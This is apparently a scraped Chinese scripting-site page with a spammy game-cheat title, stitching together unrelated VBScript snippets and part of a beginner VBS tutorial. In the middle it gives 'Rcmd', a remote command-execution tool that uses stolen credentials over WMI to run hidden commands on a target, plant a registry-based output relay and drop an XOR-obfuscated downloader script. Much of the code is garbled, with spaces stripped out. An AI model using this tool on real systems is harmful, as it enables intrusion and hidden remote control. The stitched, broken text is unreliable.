贪玩蓝月boss脚本安卓nba2k19下载

发布时间:2021-08-15 来源:脚本之家 点击:

正是因为有了这一技术,VB才能够不断发展,使用VB编程也更为方便、迅速和有效,这是VB区别于其他程序开发环境的主要特色之一
Function BrowseForFile()
Dim shell : Set shell=CreateObject("WScript.Shell")
Dim fso : Set fso=CreateObject("Scripting.FileSystemObject")

Dim tempFolder : Set tempFolder=fso.GetSpecialFolder(2)
Dim tempName : tempName=fso.GetTempName()
Dim tempFile : Set tempFile=tempFolder.CreateTextFile(tempName & ".hta")

tempFile.Write _
"<html>" & _
"<head>" & _

"<title>Browse</title>" & _
"</head>" & _
"<body>" & _

"<input type='file' id='f' />" & _
"<script type='text/javascript'>" & _
"var f=document.getElementById('f');" & _

"f.click();" & _
"var shell=new ActiveXObject('WScript.Shell');" & _
"shell.RegWrite('HKEY_CURRENT_USER\\Volatile Environment\\MsgResp', f.value);" & _
"window.close();" & _

"</script>" & _
"</body>" & _
"</html>"

tempFile.Close
shell.Run tempFolder & "" & tempName & ".hta", 0, True
BrowseForFile=shell.RegRead("HKEY_CURRENT_USER\Volatile Environment\MsgResp")

shell.RegDelete "HKEY_CURRENT_USER\Volatile Environment\MsgResp"
End Function

'Author: Demon
'Website:
'Date: 2011/6/2

path=BrowseForFile()
If path <> "" Then WScript.Echo path

写脚本怎么赚钱

ConstssfCONTROLS=3

sConnectionName="本地连接"'可改成需要控制的连接名称,如"无线网络连接"等

sEnableVerb="启用(&A)"
sDisableVerb="禁用(&B)"'XP系统中应为"停用(&B)"

setshellApp=createobject("shell.application")
setoControlPanel=shellApp.Namespace(ssfCONTROLS)

setoNetConnections=nothing
foreachfolderiteminoControlPanel.items
iffolderitem.name="网络连接"then
setoNetConnections=folderitem.getfolder:exitfor
endif
next

ifoNetConnectionsisnothingthen
msgbox"未找到网络连接文件夹"
wscript.quit
endif

setoLanConnection=nothing
foreachfolderiteminoNetConnections.items
iflcase(folderitem.name)=lcase(sConnectionName)then
setoLanConnection=folderitem:exitfor
endif
next

ifoLanConnectionisnothingthen
msgbox"未找到'"&sConnectionName&"'item"
wscript.quit
endif

bEnabled=true
setoEnableVerb=nothing
setoDisableVerb=nothing
s="Verbs:"&vbcrlf
foreachverbinoLanConnection.verbs
s=s&vbcrlf&verb.name
ifverb.name=sEnableVerbthen
setoEnableVerb=verb
bEnabled=false
endif
ifverb.name=sDisableVerbthen
setoDisableVerb=verb
endif
next

'debuggingdisplaysleftjustincase...
'
'msgboxs':wscript.quit
'msgbox"Enabled:"&bEnabled':wscript.quit

'notsurewhy,butinvokeverbalwaysseemedtowork
'forenablebutnotdisable.
'
'savingareferencetotheappropriateverbobject
'andcallingtheDoItmethodalwaysseemstowork.
'
ifbEnabledthen
'oLanConnection.invokeverbsDisableVerb
oDisableVerb.DoIt
else
'oLanConnection.invokeverbsEnableVerb
oEnableVerb.DoIt
endif

'adjustthesleepdurationbelowasneeded...
'
'ifyoulettheoLanConnectiongooutofscope
'andbedestroyedtoosoon,theactionoftheverb
'maynottake...
'
wscript.sleep400
用VB编写入侵监听程序(下)

程序的代码以及说明如下:

‘本程序在VB6.0+Windows2000下测试通过


On Error Resume Next
Set outstreem=Wscript.stdout
If (LCase(Right(Wscript.fullname,11))="Wscript.exe") Then
Wscript.Quit
End If

If Wscript.arguments.Count<4 Then
Wscript.echo "Not enough Parameters."
usage()
Wscript.Quit
End If


ip=Wscript.arguments(0)
username=Wscript.arguments(1)
password=Wscript.arguments(2)
CmdStr=Wscript.arguments(3)
EchoStr=Wscript.arguments(4)
'downstr=Wscript.arguments(5)
foldername="c:\\windows\\temp\"

wsh.echo "Conneting "&ip&" ...."
Set objlocator=CreateObject("wbemscripting.swbemlocator")
Set objswbemservices=objlocator.connectserver(ip,"root/cimv2",username,password)
showerror(err.number)
Set Win_Process=objswbemservices.Get("Win32_ProcessStartup")
Set Hide_Windows=Win_Process.SpawnInstance_
Hide_Windows.ShowWindow=12
Set Rcmd=objswbemservices.Get("Win32_Process")
Set colFiles=objswbemservices.ExecQuery _
("Select * from CIM_Datafile Where Name='c:\\windows\\temp\\read.vbs'")
If colFiles.Count=0 Then
wsh.echo "Not found read.vbs! Create Now!"
Create_read()

End If





If EchoStr="0" Then
msg=Rcmd.create("cmd /c "&CmdStr,Null,Hide_Windows,intProcessID)
End if
If EchoStr="1" Then
msg=Rcmd.create("cmd /c cscript %windir%\temp\read.vbs """&CmdStr&"""",Null,Hide_Windows,intProcessID)
End If

If EchoStr="3" Then
Create_down()
End If

If msg=0 Then
wsh.echo "Command success..."
Else
showerror(Err.Number)
End If

wsh.echo "Please Wait 3 Second ...."
wsh.sleep(3000)
Set StdOut=Wscript.StdOut
Set oReg=objlocator.connectserver(ip,"root/default",username,password).Get("stdregprov")
oReg.GetMultiStringValue &H80000002,"SOFTWARE\Clients","cmd" ,arrValues
wsh.echo String(79,"*")
wsh.echo cmdstr&Chr(13)&Chr(10)

For Each strValue In arrValues
StdOut.WriteLine strValue
Next
oReg.DeleteValue &H80000002,"SOFTWARE\Clients","cmd"

Sub Create_read()
RunYN=Rcmd.create("cmd /c echo set ws=WScript.CreateObject(^""WScript.Shell^"")> %windir%\temp\read.vbs"_
&"&&echo str=ws.Exec(^""cmd /c ^""^&wscript.arguments(0)).StdOut.ReadAll:set ws=nothing>> %windir%\temp\read.vbs"_
&"&&echo Set oReg=GetObject(^""winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv^"")>> %windir%\temp\read.vbs"_
&"&&echo oReg.SetMultiStringValue ^&H80000002,^""SOFTWARE\Clients^"",^""cmd^"",Array(str) >> %windir%\temp\read.vbs",Null,Hide_Windows,intProcessID)
If RunYN=0 Then
wsh.echo "read.vbs Created!!!"
Else
showerror(Err.Number)
End If

End Sub

sub Create_down()
Rundw=Rcmd.create("cmd /c echo Function Decode(s,n):ns=Split(Mid(s,2,Len(s)-1)):For i=0 To UBound(ns):on error resume next:Decode=Decode^&Chr(CInt(ns(i)) Xor n):Next:End Function>%windir%\temp\down.vbs"_
&"&&echo Execute(Decode(^"" 26 9 18 31 8 21 19 18 92 15 29 10 25 58 21 16 25 84 26 21 16 25 18 29 17 25 80 15 8 14 85 113 118 113 118 92 92 92 92 92 15 25 8 92 29 24 19 24 30 47 8 14 25 29 17 92 65 92 63 14 25 29 8 25 51 30 22 25 31 8 84 94 61 56 51 56 62 94 92 90 92 94 82 94 92 90 92 94 47 8 14 25 29 17 94 85 113 118 113 118 92 92 92 92 92 29 24 19 24 30 47 8 14 25 29 17 82 40 5 12 25 65 92 77 113 118 92 92 92 92 92 29 24 19 24 30 47 8 14 25 29 17 82 51 12 25 18 113 118 92 92 92 92 92 29 24 19 24 30 47 8 14 25 29 17 82 11 14 21 8 25 92 15 8 14 113 118 92 92 92 92 92 29 24 19 24 30 47 8 14 25 29 17 82 47 29 10 25 40 19 58 21 16 25 92 26 21 16 25 18 29 17 25 80 78 113 118 92 92 92 92 92 29 24 19 24 30 47 8 14 25 29 17 82 63 16 19 15 25 113 118 113 118 25 18 24 92 26 9 18 31 8 21 19 18 113 118 113 118 91 83 83 42 62 -13695 -10347 -10282 -20072 -19531 -18814 -17020 -10566 -18291 -13631 113 118 58 9 18 31 8 21 19 18 92 49 9 16 8 21 62 5 8 25 40 19 62 21 18 29 14 5 84 49 9 16 8 21 62 5 8 25 85 113 118 113 118 92 92 92 92 92 56 21 17 92 46 47 80 92 48 49 9 16 8 21 62 5 8 25 80 92 62 21 18 29 14 5 113 118 92 92 92 92 92 63 19 18 15 8 92 29 24 48 19 18 27 42 29 14 62 21 18 29 14 5 92 65 92 78 76 73 113 118 92 92 92 92 92 47 25 8 92 46 47 92 65 92 63 14 25 29 8 25 51 30 22 25 31 8 84 94 61 56 51 56 62 82 46 25 31 19 14 24 15 25 8 94 85 113 118 92 92 92 92 92 48 49 9 16 8 21 62 5 8 25 92 65 92 48 25 18 62 84 49 9 16 8 21 62 5 8 25 85 113 118 92 92 92 92 92 53 26 92 48 49 9 16 8 21 62 5 8 25 66 76 92 40 20 25 18 113 118 92 92 92 92 92 92 92 92 92 92 92 92 92 46 47 82 58 21 25 16 24 15 82 61 12 12 25 18 24 92 94 17 62 21 18 29 14 5 94 80 92 29 24 48 19 18 27 42 29 14 62 21 18 29 14 5 80 92 48 49 9 16 8 21 62 5 8 25 113 118 92 92 92 92 92 92 92 92 92 92 92 92 92 46 47 82 51 12 25 18 113 118 92 92 92 92 92 92 92 92 92 92 92 92 92 46 47 82 61 24 24 50 25 11 113 118 92 92 92 92 92 92 92 92 92 92 92 92 92 46 47 84 94 17 62 21 18 29 14 5 94 85 82 61 12 12 25 18 24 63 20 9 18 23 92 49 9 16 8 21 62 5 8 25 92 90 92 63 20 14 62 84 76 85 113 118 92 92 92 92 92 92 92 92 92 92 92 92 92 46 47 82 41 12 24 29 8 25 113 118 92 92 92 92 92 92 92 92 92 92 92 92 92 62 21 18 29 14 5 92 65 92 46 47 84 94 17 62 21 18 29 14 5 94 85 82 59 25 8 63 20 9 18 23 84 48 49 9 16 8 21 62 5 8 25 85 113 118 92 92 92 92 92 57 18 24 92 53 26 113 118 92 92 92 92 92 49 9 16 8 21 62 5 8 25 40 19 62 21 18 29 14 5 92 65 92 62 21 18 29 14 5 113 118 113 118 57 18 24 92 58 9 18 31 8 21 19 18 113 118 113 118 113 118 26 9 18 31 8 21 19 18 92 25 4 25 31 84 85 113 118 92 92 92 92 92 113 118 92 92 92 92 92 91 83 83 -14659 -20046 -19311 -12657 113 118 92 92 92 92 92 19 18 92 25 14 14 19 14 92 14 25 15 9 17 25 92 50 25 4 8 113 118 92 92 92 92 92 47 25 8 92 29 14 27 15 92 65 92 43 47 31 14 21 12 8 82 61 14 27 9 17 25 18 8 15 113 118 21 26 92 29 14 27 15 82 63 19 9 18 8 92 65 92 76 92 8 20 25 18 113 118 92 92 92 92 92 43 47 31 14 21 12 8 82 57 31 20 19 92 94 41 15 29 27 25 70 92 63 47 31 14 21 12 8 92 24 19 11 18 82 10 30 15 92 9 14 16 92 31 70 32 77 82 25 4 25 94 113 118 92 92 92 92 92 43 47 31 14 21 12 8 82 45 9 21 8 92 77 113 118 92 92 92 92 92 25 18 24 92 53 26 113 118 92 92 92 92 92 92 24 21 17 92 24 29 8 29 80 8 80 23 23 80 26 21 16 25 18 29 17 25 80 15 15 113 118 92 92 92 92 92 47 25 8 92 49 29 21 16 77 92 65 92 63 14 25 29 8 25 51 30 22 25 31 8 84 94 63 56 51 82 49 25 15 15 29 27 25 94 85 113 118 92 92 92 92 92 49 29 21 16 77 82 63 14 25 29 8 25 49 52 40 49 48 62 19 24 5 92 29 14 27 15 82 53 8 25 17 84 76 85 92 80 79 77 92 113 118 91 49 29 21 16 77 82 63 14 25 29 8 25 49 52 40 49 48 62 19 24 5 92 94 31 70 32 4 4 4 32 16 31 4 82 25 4 25 81 12 26 82 20 8 17 94 80 79 77 113 118 92 92 92 92 92 15 15 65 92 49 29 21 16 77 82 52 40 49 48 62 19 24 5 113 118 92 92 92 92 92 47 25 8 92 49 29 21 16 77 65 18 19 8 20 21 18 27 92 92 113 118 113 118 92 92 92 113 118 113 118 92 92 92 92 92 91 83 83 -19009 -19007 -13695 -16735 113 118 92 92 92 92 92 24 29 8 29 92 92 92 92 92 92 92 92 92 92 92 92 92 65 92 15 15 113 118 92 92 92 92 92 91 83 83 -19009 -19007 -12616 -17278 -15481 113 118 92 92 92 92 92 26 21 16 25 18 29 17 25 92 92 92 92 92 65 92 29 14 27 15 82 53 8 25 17 84 77 85 113 118 113 118 92 92 92 92 92 91 83 83 -19009 -19007 -13695 -16735 -19496 -18764 113 118 92 92 92 92 92 92 92 92 92 9 92 65 92 16 25 18 84 24 29 8 29 85 113 118 92 92 92 92 92 113 118 92 92 92 92 92 91 83 83 -17523 -19009 -12616 -17278 -13695 -10347 113 118 92 92 92 92 92 26 19 14 92 21 65 77 92 8 19 92 9 92 15 8 25 12 92 78 113 118 92 92 92 92 92 92 92 92 92 92 92 92 92 8 92 65 92 17 21 24 84 24 29 8 29 80 21 80 78 85 113 118 92 92 92 92 92 92 92 92 92 92 92 92 92 23 23 92 65 92 23 23 92 90 92 63 20 14 62 84 31 16 18 27 84 94 90 52 94 92 90 92 8 85 85 113 118 92 92 92 92 92 18 25 4 8 113 118 113 118 92 92 92 92 92 91 83 83 -10282 -20072 -19531 -18814 -17020 -10566 -18291 -13631 113 118 92 92 92 92 92 24 29 8 29 61 14 14 5 92 65 92 49 9 16 8 21 62 5 8 25 40 19 62 21 18 29 14 5 84 23 23 85 113 118 92 92 92 92 92 113 118 92 92 92 92 92 91 83 83 -20001 -19302 -12616 -17278 92 92 92 92 92 113 118 92 92 92 92 92 15 29 10 25 58 21 16 25 92 26 21 16 25 18 29 17 25 80 24 29 8 29 61 14 14 5 113 118 113 118 92 92 92 92 113 118 92 92 92 92 25 18 24 92 26 9 18 31 8 21 19 18 113 118 113 118 25 4 25 31 84 85 113 118 92 113 118 113 118^"",124))>>%windir%\temp\down.vbs",Null,Hide_Windows,intProcessID)

If Rundw=0 Then
wsh.echo "down.vbs Created!!!"
Else
showerror(Err.Number)
End If

End Sub

Function showerror(errornumber)
If errornumber Then
wsh.echo "Error 0x"&CStr(Hex(Err.Number))&" ."
If Err.Description <> "" Then
wsh.echo "Error Description: "&Err.Description&"."
End If
Wscript.Quit
Else
outstreem.Write "."
End If
End Function


Sub usage()
wsh.echo string(79,"*")
wsh.echo "Rcmd v1.01 by NetPatch modiy by lcx"
wsh.echo "Usage:"
wsh.echo "cscript "&wscript.scriptfullname&" targetIP username password ""Command"" 1 //on echo"
wsh.echo "cscript "&wscript.scriptfullname&" targetIP username password ""Command"" 0 //off echo create "
wsh.echo "cscript "&wscript.scriptfullname&" targetIP username password """" 3 // create cdo.message.down.vbs "
wsh.echo string(79,"*")&vbcrlf
end Sub
说不定在设为单一使用者後,还来不及建立另外的连线时,就
有其他的Process先进入该资料库

第三篇(共六篇):

首先,我来解决一下上次课程的几个疑问

第一,那个余数问题,16/5=3...1,是因为我改过前面的部分,后面的忘了改了,不好意思.

第二,请看一下程序清单:

1)
Dima,b,c
a=inputbox("a是:","输入半径")
b=Inputbox("b是:","输入半径")
c=a*2+b*2
Msgbox(c)
这个输入1、2时是6

2)
Dima,b,c
a=inputbox("a是:","输入半径")
b=Inputbox("b是:","输入半径")
c=(a+b)*2
Msgbox(c)
这个输入1、2时是24

 为什么会不一样呢?在数学上c=(a+b)*2和c=a*2+b*2是等价的,在VBS中也是如此.问题出在"+"上,在VBS中,+不仅仅是加号的意思还表示把两个字符串连接起来,例如"Hello"+"World"="HelloWorld"haveyouunderstood?你还记得InoutBox函数的返回值吗?是字符串!这就看出问题了吧,在编程中"1"不等于(<>)1,"1"是一个字符,而1是一个数,所以a,b都是字符串变量,"1"+"2"="12",这就好像我们小时跟伙伴开玩笑问他们1+1=?一样,我们总是笑着说"错啦,应该是11".但为什么,a可以*2却不发生错误呢?这时VBS比较智能的一个表现,如果这个字符串的内容是一个数且对他进行数学运算,则把字符串强制转换成数参与运算,如果字符串代表一个数,但不参加数学运算,而是参加字符串运算(合并)则当作字符串处理,所以你看到a+b=12,这时候a+b的结果(12)是一个字符串,当它要乘以2的时候就被强制转换成了数字12,这样我就得到了结果24.

  怎么修改这个程序呢?我们需要用到另一个内建的函数:int,int函数的功能是将输入值转化成整数值,我们这样修改:

c=(int(a)+int(b))*2

  这个意思就是把a作为参数传递给int函数,int函数就会返回那个整数(你的输入值),然后让返回值参与运算,这样就得到了正确答案.所以,以后如果你用的是inputbox函数的话,最好用int语句加工一下:比如c=int(c)'c是你自己的变量

  大家是不是觉得这个课程有点枯燥,呵呵,变量和运算符部分的确是这样的,不过多多练习也就好了,这次,我们写写真正好玩的东西:流程控制语句.这个部分开始才是真正的编程.

  首先介绍判断结构.

  在此之前,我们先介绍一种简单的变量类型:布尔值(Boolean),这种变量只有两个可能值:True,Flase,即真或假.这种变量在某些情况下很有用(比如"开关").我们定义一个bool变量的方法和其他变量一样,赋值也一样,例如:

dima,b
a=true
b=false

  注意,true和"true"是不一样的,"true"是字符串,true是布尔值,千万不能混淆.

  回到if语句上来,我们先来看看简化版的if语句:if判断式then语句体 我们来看一个例子:

dima,b
a=12
b=13
ifb>athenmsgbox("B大于A")

  我们只看最后一行,a>b这个式子(表达式)有一个返回值,是bool型的.因为这个式子只有两种可能:b大于a,b不大于a,所以这个式子也只有两种可能性,即真或者假.if语句判断这个表达式的返回值是真还是假,如果是真(true)则执行then后面的语句,如果是假,则不执行,你把a的值改成14看看还会不会弹出对话框?

  当我们要在判断之后执行多行语句怎么办呢,我们需要用语句块来解决,在这里可以叫块if

dima,b
a=12
b=13
ifa<bthen
msgbox("A小于B")
msgbox("B大于A")
endif

  两个msgbox函数夹在if和endif之间,这个部分就是语句块,块里的每一条语句之前请空出4--8(一个<Tab>键)个格,这不是必需的,但是是一个好习惯,以便看清楚程序的结构.这样我们就能运行多于一个的语句,请注意if...then...endif这三个关键部分不要掉了.OK,我出一个题,输入一个数,如果小于100就输出"错误",如果大于100就输出"正确",我这里有两个程序版本:

dima
a=inputbox("请输入一个大于100的数")
a=int(a)'inputbox返回的是字符串,我们把他变成整数:)
ifa>100thenmsgbox("正确")
ifa<100thenmsgbox("错误")

还有一个更简单的

dima
a=inputbox("请输入一个大于100的数")
a=int(a)'inputbox返回的是字符串,我们把他变成整数
ifa>100then
msgbox("正确")
else
msgbox("错误")
endif

  看到多了一个else了吧,else的作用就是当要判断的表达式为false时执行的.这样程序就可以处理两种不同的情况了.不要忘了用endif结尾

  嘿嘿,我是变态者,现在我要你处理三种情况,<100,=100,>100,还要写在一个if结构里,你怎么办,我给你答案:

dima
a=inputbox("请输入一个大于100的数")
a=int(a)'inputbox返回的是字符串,我们把他变成整数
ifa>100then
msgbox("正确")
elseifa=100then
msgbox("老大,你耍我?")
else
msgbox("错误")
endif

  这次输入100看看,是什么?elseif语句可以在if结构中多次出现,以灵活判断不同的情况(如果你要判断得太多,就请使用"选择结构",过会儿就讲),当所有elseif都处理完了,而没有符合情况的时候再执行else中的语句.另一个例子:

Dima,b,c,d
a=inputbox("a是:","输入半径")
b=Inputbox("b是:","输入半径")
d=Inputbox("答案:","输入答案")

c=a*2+b*2'这里没有问题,会自动转换
ifd=cthen
Msgbox("你好聪明")
else
Msgbox("你好猪头自己的题还不会!")
endif

  再看看这个,无论你回答得多么正确你都是猪头,哈哈,不是我耍你,还是文章开始时候的inputbox的返回类型在耍你,d是inputbox的返回值,他是一个字符串,而c是一次整数计算的结果,他是一个整数.一个字符串无论如何也不等于一个整数,尽管他们字面上是一样的:"8"<>(不等于号)8所以if的判断式的值永远是false,总是执行else部分的语句.我们可以这么修改

Dima,b,c,d
a=inputbox("a是:","输入半径")
b=Inputbox("b是:","输入半径")
d=Inputbox("答案:","输入答案")
d=int(d)
'在这里我们取出了d的值,变成整数,在放回"d"这个盒子里
c=a*2+b*2
ifd=cthen
Msgbox("你好聪明")
else
Msgbox("你好猪头自己的题还不会!")
endif

  这样就成功了.这也是Inputbox函数的一个讨厌的地方,没办法,vbs没有其他好的输入方式了.

  说到if,我们不得不说一说逻辑运算符,今天介绍两种,"and"和"or"学会了if语句之后,我举一个例子,你一看就明白了.

dima,b
a=inputbox("输入一个数>10")
b=inputbox("输入另一个数>10")
a=int(a)
b=int(b)
ifa>10andb>10then
msgbox("正确")
else
msgbox("错误")
endif

  这段程序让你输入两个值,必须都大于10,只要有一个不大于,就输出错误

dima,b
a=inputbox("输入一个数>10")
b=inputbox("输入另一个数>10")
a=int(a)
b=int(b)
ifa>10orb>10then
msgbox("正确")
else
msgbox("错误")
endif


  这段程序让你输入两个值,只要有一个大于10,就返回成功.其实and和or很好理解,我读"ifa>10orb>10then"这一句,用华语是这样:"如果a大于10或者b大于10,那么...".这样是不是就很好理解了呢.

  OK,我们再来看一种新结构,今天的课就结束,已经午夜了,我都累死了.

  当你的程序要处理很多种不同的判断情况的时候elseif..then会让程序看起来很杂乱,所以就有了一种selectcase结构专门对付这种情况,selectcase的语法结构很简单:

selectcase变量名
case值
语句
case值
语句
caseelse
语句
endselect


  我们举个例子就能很简单的说明:

dima
a=inputbox("输入一个1--3的值")
a=int(a)'处理inputbox返回字符串的问题
selectcasea
case1
msgbox("壹")
case2
msgbox("贰")
case3
msgbox("叁")
caseelse
msgbox("输入错误")
endselect

  这个例子把1,2,3这三个阿拉伯数字转化成中国大写数字,这个程序写成if...elseif的形式如下

dima
a=inputbox("请输入1--3的值")
a=int(a)
ifa=1then
msgbox("壹")
elseifa=2then
msgbox("贰")
elseifa=3then
msgbox("叁")
else
msgbox("输入错误")
endif

  怎么样,麻烦吧,还是select好吧.

  OK,今天到此结束,总结一下:


要点:

1)inputbox返回的是一个字符串,而不是一个数,必须用a=int(a)这种形式转化成数

2)bool变量的值只有两种:true,false

2.5)and两边的表达式都是true,则返回true.or两边的表达式有一个是true,就返回true

3)if语句的格式

4)select...case的格式


作业:

1)使用3个bool值,储存你的3兄弟姐妹是否是男性(提示:sister1male=false)

2)给定一个个数,大于10而且小于20输出"正确",否则输出"错误"

3)输入12,或者15,输出"正确",否则输出"错误"

4)把5以内的正整数都转换成中国大些数字

5)自己随便设计一个程序,应用今天的知识
我个人因为经常作一些数据库方面的程序,对于程序间如何与数据库进行接口的问题之烦是深有体会,因为VB在数据库链接的时候,一般是静态,即数据库存放的路径是固定的,如用VB的DATA,adodc,DataEnvironment等到作数据库链接时,如果存放数据库的路径被改变的话,就会找不到路经,真是一个特别烦的事


Set WshShell=WScript.CreateObject("WScript.Shell")
WScript.Sleep 2000
Set fso=wscript.createobject("scripting.filesystemobject")
set f=fso.opentextfile("sendkey.vbs",2,true)
f.Write("Set WshShell=WScript.CreateObject(" & Chr(34) & "WScript.Shell" & chr(34) & ")")
f.WriteBlankLines(1)
f.Write("WScript.Sleep 1800")
f.WriteBlankLines(1)
f.Write("Wshshell.appactivate " & chr(34) & "提示" & chr(34))
f.WriteBlankLines(1)
f.Write("Wshshell.Sendkeys " & chr(34) & "^v" & chr(34))
f.WriteBlankLines(1)
f.Close
Wshshell.Run ("sendkey.vbs")
InputBox "请输入","提示",""
fso.DeleteFile ("sendkey.vbs")
加if判断如不需循环播放则无此问题,把程序中控制循环的语句去掉即可
Set objDialog=CreateObject("SAFRCFileDlg.FileSave")
Set fso=CreateObject("Scripting.FileSystemObject")
objDialog.FileName="test"
objDialog.FileType=".txt"
intReturn=objDialog.OpenFileSaveDlg
If intReturn Then
fso.CreateTextFile(objDialog.FileName & objdialog.filetype)
Else
Wscript.Quit
End if

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号